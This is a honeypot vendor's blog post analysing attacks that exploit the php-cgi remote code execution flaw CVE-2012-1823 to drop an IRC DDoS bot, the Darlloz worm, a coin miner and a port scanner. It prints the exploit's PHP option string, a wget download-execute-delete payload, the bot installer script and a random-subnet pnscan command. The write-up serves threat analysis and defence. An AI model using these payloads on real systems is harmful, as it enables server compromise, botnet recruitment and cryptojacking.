Skip to main content

Your EC2 intance can mine a bitcoin. Well, not for you!

Different variance of ‘old’ php-cgi remote code execution vulnerability (i.e. CVE-2012-1823) was observed across EC2 Smart Honeypot instances. The interesting piece was differences in the attack drop-by files::

  1. Hosting a IRC bot (DDoS, RCE etc.) – as always!
  2. Hosting a Linux.Darlloz worm – observed again.
  3. Hosting a Crypto Currency miner – interesting piece!
  4. Hosting a port scanner – not very well scripted!


IRC bot

The template for the URI request is:


which is URL-Encoded version of the following decoded request:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on 
-d disable_functions="" -d open_basedir=none 
-d auto_prepend_file=php://input -d cgi.force_redirect=0 
-d cgi.redirect_status_env=0 -n

This exploits tampers few configuration settings of the php interpreter on the host. The interesting part is the content of POST request:

system(\\x22wget http://[removed].us/bots/ -O /tmp/sh;
sh /tmp/sh;rm -rf /tmp/sh\\x22); 

it points to download, execute and remove a shell script. The following is the content of the shell code:


wget http://[removed]/files/kaiten.c -O /tmp/a.c
gcc -o /tmp/a /tmp/a.c

wget http://[removed]/files/a -O /tmp/a
chmod +x /tmp/a
gcc -o /tmp/a /tmp/a.c
rm -rf /tmp/a.c
/tmp/a &

Although the script download two files, second downloaded file overwrites the first file (nice scripting)! Looking at the source code, it seems like a IRC based bot that allows for range of TCP and UDP based denial of service attack and remote code execution.

Linux.Darlloz Worm (reloaded!)

The URI request to deploy the drop-by was slightly different as it was targeted at phppath/php:

phppath/php?-d allow_url_include=on -d safe_mode=off 
-d suhosin.simulation=on -d disable_functions="" 
-d open_basedir=none -d auto_prepend_file=php://input -n

This worm was previously (12/2013) seen that targets php-cgi path.

The worm is capable of attacking different CPU architecture i.e. ARM, MIPS etc and opens a backdoor on port 58455 for remote commands.

Crypto currency miner

The most interesting piece was Crypto Currency miner (e.g. bitcoin, litecoin etc.). A version of cpuminer was observed on one of the Smart Honeypot which is a multi-threaded crypto currency miner capable of running on different operating systems and CPU architecture (not GPU).

So attackers use your Cloud instance to mine coins! if you’ve recently received a massive bill shock from AWS, this might have a good reason! Check out for processes like “minerd” on your server.

Port scanner (Apache discovery)

‘pnscan’ was another drop-by on the some of the Smart Honeypots that was configured to continuously get executed. pnscan is a multi-threaded port scanner and was used to randomly scan internet for existence of Apache server. So effectively the host is used as an attack launch pad to find other Apache hosts.

rand=`echo $((RANDOM%225+2))` 
cd /dev/shm 
nohup ./pnscan -rApache -w"HEAD / HTTP/1.0\r\n\r\n" $rand.0.0.0/8 80 > /dev/null &

pnscan is set to scan a random class A subnet. At first I through it uses a reverse-byte order tactic as it has been seen in zero-slash analysis, however, looking closely it turned out to be an inefficient way of discovering Apache hosts across a given subnet. Reverse-byte order scanning is a stealthy scanning activity where an IDS device monitoring a subnet like /24 is incapable to discover and alert. As an example the scanner first scans then then rather than,, etc.

Adversary profile

in the next post…

If you are interested to do further research, all drop-bys are available for download, just drop me a line.

Smart Honeypot

A honeypot intelligence system that is simple to deploy and easy to manage. It is armed with undisclosed tactics to lure attackers revealing their activities.